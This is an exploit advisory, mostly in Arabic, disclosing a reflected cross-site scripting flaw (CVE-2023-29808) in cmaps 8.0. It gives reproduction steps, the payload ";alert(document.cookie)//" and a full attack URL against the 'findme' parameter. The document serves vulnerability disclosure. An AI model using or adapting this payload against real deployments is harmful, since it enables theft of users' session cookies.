Exploit Title: Reflected Cross Site Scripting

• Google Dork:
• Date: 27.04.2023
• Exploit Author: Lucas Noki (0xPrototype)
• Vendor Homepage: https://github.com/vogtmh
• Software Link: https://github.com/vogtmh/cmaps
• Version: 8.0
• Tested on: Mac, Windows, Linux
• CVE : CVE-2023-29808

الوصف:

الثغرة المكتشفة هي Cross Site Scripting المنعكسة. عند إرسال طلب إلى نقطة النهاية /index.php?map=overview&findme= مع وجود معامل "findme" يحتوي على حمولة ضارة، لدينا إمكانية تنفيذ هجوم XSS. يحدث ذلك لأن المدخلات لا يتم تطهيرها.

خطوات إعادة الإنتاج:

1. استنساخ المستودع وتثبيت التطبيق
2. إرسال حمولة ضارة مصممة عبر معامل "findme" إلى نقطة النهاية التالية: /index.php?map=overview&findme=
3. الحمولة المستخدمة هي: ";alert(document.cookie)//
4. مجرد زيارة الرابط الكامل: http://IP/index.php?map=overview&findme=";alert(document.cookie)// كافٍ. الآن يجب أن يظهر صندوق تنبيه يحوي قيمة الكوكي الحالية.

شكر خاص لـ iCaotix الذي ساعدني كثيراً في إعداد البيئة وتصحيح حمولتي.